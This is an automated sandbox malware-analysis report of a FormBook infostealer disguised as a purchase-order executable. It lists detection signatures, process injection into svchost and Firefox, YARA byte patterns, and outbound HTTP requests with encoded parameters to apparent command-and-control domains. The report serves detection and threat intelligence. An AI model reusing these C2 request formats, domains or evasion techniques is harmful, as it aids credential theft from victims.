Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PO 4800040256.exe

Overview

General Information

Sample name:PO 4800040256.exe
Analysis ID:1542186
MD5:5b2622fd1827784342926260a3b90eed
SHA1:61baea82d03e00bf5a24ba998b69a168c7d1ec32
SHA256:bcd71bc0ed5755a4570ef469b4c3db4aec9c0dea4b3012d921e392c7636c4ef4
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • PO 4800040256.exe (PID: 2320 cmdline: "C:\Users\user\Desktop\PO 4800040256.exe" MD5: 5B2622FD1827784342926260A3B90EED)
    • svchost.exe (PID: 3168 cmdline: "C:\Users\user\Desktop\PO 4800040256.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • aqHVlkxOGyJW.exe (PID: 3128 cmdline: "C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • replace.exe (PID: 3652 cmdline: "C:\Windows\SysWOW64\replace.exe" MD5: A7F2E9DD9DE1396B1250F413DA2F6C08)
          • aqHVlkxOGyJW.exe (PID: 2956 cmdline: "C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 2284 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2f1f3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x172c2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x4474ca:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x42f599:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 9 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e3f3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x164c2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f1f3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x172c2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PO 4800040256.exe", CommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", ParentImage: C:\Users\user\Desktop\PO 4800040256.exe, ParentProcessId: 2320, ParentProcessName: PO 4800040256.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", ProcessId: 3168, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PO 4800040256.exe", CommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", ParentImage: C:\Users\user\Desktop\PO 4800040256.exe, ParentProcessId: 2320, ParentProcessName: PO 4800040256.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO 4800040256.exe", ProcessId: 3168, ProcessName: svchost.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: PO 4800040256.exeAvira: detected
            Multi AV Scanner detection for submitted file
            Source: PO 4800040256.exeReversingLabs: Detection: 65%
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: PO 4800040256.exeJoe Sandbox ML: detected
            Source: PO 4800040256.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: replace.pdb source: svchost.exe, 00000002.00000003.2204683917.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247556337.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573070301.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: replace.pdbGCTL source: svchost.exe, 00000002.00000003.2204683917.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247556337.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573070301.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aqHVlkxOGyJW.exe, 00000003.00000002.4572970604.000000000053E000.00000002.00000001.01000000.00000004.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2319748039.000000000053E000.00000002.00000001.01000000.00000004.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO 4800040256.exe, 00000000.00000003.2137260963.0000000004310000.00000004.00001000.00020000.00000000.sdmp, PO 4800040256.exe, 00000000.00000003.2138538980.0000000004650000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2143164104.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2141161552.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.0000000003300000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2247489377.0000000003345000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2249736782.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.00000000036B0000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.000000000384E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO 4800040256.exe, 00000000.00000003.2137260963.0000000004310000.00000004.00001000.00020000.00000000.sdmp, PO 4800040256.exe, 00000000.00000003.2138538980.0000000004650000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2143164104.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2141161552.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.0000000003300000.00000040.00001000.00020000.00000000.sdmp, replace.exe, replace.exe, 00000004.00000003.2247489377.0000000003345000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2249736782.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.00000000036B0000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.000000000384E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: replace.exe, 00000004.00000002.4572751193.00000000030E0000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4574211387.0000000003CDC000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2320466604.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2542054507.0000000004D3C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: replace.exe, 00000004.00000002.4572751193.00000000030E0000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4574211387.0000000003CDC000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2320466604.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2542054507.0000000004D3C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E6C230 FindFirstFileW,FindNextFileW,FindClose,4_2_02E6C230
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4x nop then xor eax, eax4_2_02E59AD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4x nop then mov ebx, 00000004h4_2_034904E8

            Networking

            barindex
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.moritynomxd.xyz
            Source: DNS query: www.sterkus.xyz
            Source: DNS query: www.rtpngk.xyz
            Source: Joe Sandbox ViewIP Address: 209.74.95.29 209.74.95.29
            Source: Joe Sandbox ViewIP Address: 84.32.84.32 84.32.84.32
            Source: Joe Sandbox ViewASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /v5tr/?tD38rnpX=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1qjXBxlRRBvQeKN9MCs6rt4O0A37rHOMOhfRDAQ4VRmvrUA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.moritynomxd.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /kmgk/?tD38rnpX=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzWykVQry7ZncTD9wSlVtUUKSJ1PHuSGlsoS10aeDaXfnAjA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.kovallo.cloudUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1moFR53yiG80M6W+9XtA+QAGi4qenDi/3bWCk4qyGtSk7mA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.sppsuperplast.onlineUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /fl4z/?tD38rnpX=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzbo1NqK3PKuQaAPPfFY6+C0+pHlsubNBPbYC2QzRTU8ncLQ==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.tracy.clubUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /ha8h/?EjY0i=xfOdKrMPu&tD38rnpX=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX642MIvS6XErww1P8sJLsEqVRWe1KmIBRKh60xF4W7tUSWJA== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.sterkus.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /xx1z/?tD38rnpX=VQ273Por9tZNXcpnBjHyerHfPh3IuY3S8eL22/fuso5dBdPYMoEWGed6+bFxO5C9LYS/pyvuVKWKURQ6ZaqIWALShVtLhBJf0Zc/Moct8BW03OYKJW272kVfLJqh86tTEg==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.syncnodex.netUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=M+DfsBvEIkyOAb10y0dA+UDjYbUtqrwEKADScmdz2U7nr/YOsALJT64KSPaG4zh33A22H+qXr8/USoZXKjK93sqqHOCuayEDiHyzHaaTRbnLyC0b3lw7NCCFPm0+2CPqQg== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.galaxyslot88rtp.latUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /kzas/?tD38rnpX=rYHw3+wcZ3MA1g8BlTjgV3gIUSr9tyXK9S6FoLDJmOPSIdlvtrqwrkb5B8iquLWNvXCfhDtVKXWhlby4MVAaOHgNmcuDptpoO0JCXpb9pqSMmwkCszCoztILHebfPL5T2A==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.warriorsyndrome.netUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /uxh9/?EjY0i=xfOdKrMPu&tD38rnpX=ws/IawdEHaoWNg/j/7Jh7udGjrT+7JNe46jOTwFB35qywQtlsi2lBgTXskhK1RztBb48nT9+3zT3nLR+G4pWyzQ0tn9RhMvNB3SaPHbRIwRK600Mr28q0PInCw0i81OhPw== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.ks1x7i.vipUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /ml5l/?tD38rnpX=q39FRlrjXh2BAZ2an0Y0b+wnoW9u3vRxeQ2ev9PxWnLSwGTc53vym4zMKhd+m8E/J85vcAPus+7jLKqTLJL7t505dGuRC+h7PG4sEZBoQB4qU2nqGCnuFeKullFU1LLKbA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.pakmartcentral.shopUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /74ou/?tD38rnpX=3mmMrs1mHi0xtqaDMxx5sGmAfYwz3fKeAP6hfCImDXgoS2DvTlMdmK0EBclDVq+276a7o9Kf0aGsTEl5XVQU8hFnYYQwN4YvQQrBN/UKtPKYTv3aHsCNNey2XHWZ7ns4hg==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.les-massage.onlineUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /876i/?tD38rnpX=Kmyw+GmuH5iWde8Ln9Oic9mBBukDH7X+neEL39Fbw9B5TSRbsYx5ep9OaSlRgrfJ9t7osQY2p6mHYTWDA9JvbMEa0CMa2SDZMMOHi1NVW5+obCTohagwYw9FzG8LP8jMUA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.rtpngk.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /i557/?EjY0i=xfOdKrMPu&tD38rnpX=r5xTDTq+P/dmGc23aTYP++6vD4IIXl1qT9Awk095V47k3JGT99IqetoKvxAOeL2EPogdFWvWqA7DbFw7qeorxSmHrrucCK7dPTWwM5De/ZuhtXN3/B7zUJ5bWAzlxPIL4A== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.wcq24.topUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /4hfb/?tD38rnpX=p0fiPEbR7h0D1ZUOfVsjdEWFV3Vqdd7ztt+ba1ipU50QpLeGbsfhVX/xlcry6cJcaLbXkWa/uL73QIBTv0okiuskq6GJdh4BWenpy8UN30vYH/0dDo4sL0pwx2EUFqHf/Q==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.cc101.proUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /bf6k/?EjY0i=xfOdKrMPu&tD38rnpX=WmuOVz+RC0WxuKvAKjLazsuJSut05UnIYH9cvZCoa2K6/WBiXNRHwXvjS8aBoIFx3RUgrEeQYXBh1DGCvEwods33kMwpJrQrnTNrxCZFMqbP6nPotYffTTpL7BSxlfubkw== HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.asociacia.onlineUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficHTTP traffic detected: GET /1y6y/?tD38rnpX=ZZCwzVqBWU3muJHN1dgNLIPJNXd9yQEIX/09mdB9zFH2Ray8HotAqN5avWZULpURoYhjfm8F2pVR91tny4xaEvUGtehf5Pi2CT/GNU0uX4WCZi+OwvuFhStzoqURSptShA==&EjY0i=xfOdKrMPu HTTP/1.1Accept: */*Accept-Language: en-US,enConnection: closeHost: www.deefbank.netUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
            Source: global trafficDNS traffic detected: DNS query: www.moritynomxd.xyz
            Source: global trafficDNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
            Source: global trafficDNS traffic detected: DNS query: www.kovallo.cloud
            Source: global trafficDNS traffic detected: DNS query: www.sppsuperplast.online
            Source: global trafficDNS traffic detected: DNS query: www.tracy.club
            Source: global trafficDNS traffic detected: DNS query: www.sterkus.xyz
            Source: global trafficDNS traffic detected: DNS query: www.syncnodex.net
            Source: global trafficDNS traffic detected: DNS query: www.galaxyslot88rtp.lat
            Source: global trafficDNS traffic detected: DNS query: www.warriorsyndrome.net
            Source: global trafficDNS traffic detected: DNS query: www.ks1x7i.vip
            Source: global trafficDNS traffic detected: DNS query: www.pakmartcentral.shop
            Source: global trafficDNS traffic detected: DNS query: www.les-massage.online
            Source: global trafficDNS traffic detected: DNS query: www.rtpngk.xyz
            Source: global trafficDNS traffic detected: DNS query: www.wcq24.top
            Source: global trafficDNS traffic detected: DNS query: www.cc101.pro
            Source: global trafficDNS traffic detected: DNS query: www.asociacia.online
